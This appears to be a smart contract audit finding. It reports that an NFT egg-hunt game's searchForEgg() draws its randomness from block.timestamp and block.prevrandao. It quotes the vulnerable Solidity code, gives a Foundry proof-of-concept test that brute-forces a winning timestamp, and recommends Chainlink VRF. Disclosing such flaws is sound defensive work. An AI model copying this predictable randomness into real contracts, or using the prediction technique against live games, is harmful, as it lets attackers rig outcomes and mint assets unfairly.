Onchain randomnnes doesnt exist, and this protocol you are using a method that uses block.timestamp and block.prevramdao, which is deterministc and can be precalculated by a malicious actor and manipulate completly the game getting the certanty to find the timestamp where he has to call the Fn searchForEgg() to always win.
function searchForEgg() external {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
require(block.timestamp <= endTime, "Game ended");
uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
msg.sender,
eggCounter
)
)
) % 100;
console.log("RANDOM: ", random);
console.log("EGG COUNTER AT TIME:", eggCounter);
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[msg.sender] += 1;
eggNFT.mintEgg(msg.sender, eggCounter);
emit EggFound(msg.sender, eggCounter, eggsFound[msg.sender]);
}
}
This vulnerability completely breaks the fairness of the game. A malicious actor can deterministically predict winning calls and mint as many NFTs as desired without any randomness. Since the random number generation is entirely dependent on predictable values, the attack can be executed consistently and at will.
PoC
function test_auditBrokenRandomness() public {
game.startGame(1000);
uint256 statrtingBlocktime = block.timestamp;
uint256 blockNumber = block.number;
uint256 foundNumber;
uint256 foundBlock;
uint256 targetTime;
uint256 eggCounter = 0;
bytes32 randao = keccak256("seed");
vm.startPrank(alice);
while (true) {
vm.prevrandao(randao);
uint256 random = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
address(alice),
eggCounter
)
)
) % 100;
if (random < game.eggFindThreshold()) {
foundNumber = random;
foundBlock = block.number;
targetTime = block.timestamp;
break;
}
vm.warp(statrtingBlocktime++);
vm.roll(blockNumber++);
}
console.log("FoundNumber manipulated: ", foundNumber);
console.log("FoundNumber target Timestamp ", targetTime);
vm.prevrandao(randao);
vm.warp(targetTime);
vm.roll(foundBlock);
game.searchForEgg();
vm.stopPrank();
assert(game.eggsFound(address(alice)) == 1);
assert(nft.ownerOf(1) == address(alice));
}
Recommended Mitigation:
Avoid using deterministic and publicly accessible values like block.timestamp or block.prevrandao for randomness. Instead, integrate a secure randomness oracle such as Chainlink VRF, which provides verifiable and tamper-proof random numbers. This will ensure fairness and prevent manipulation by attackers.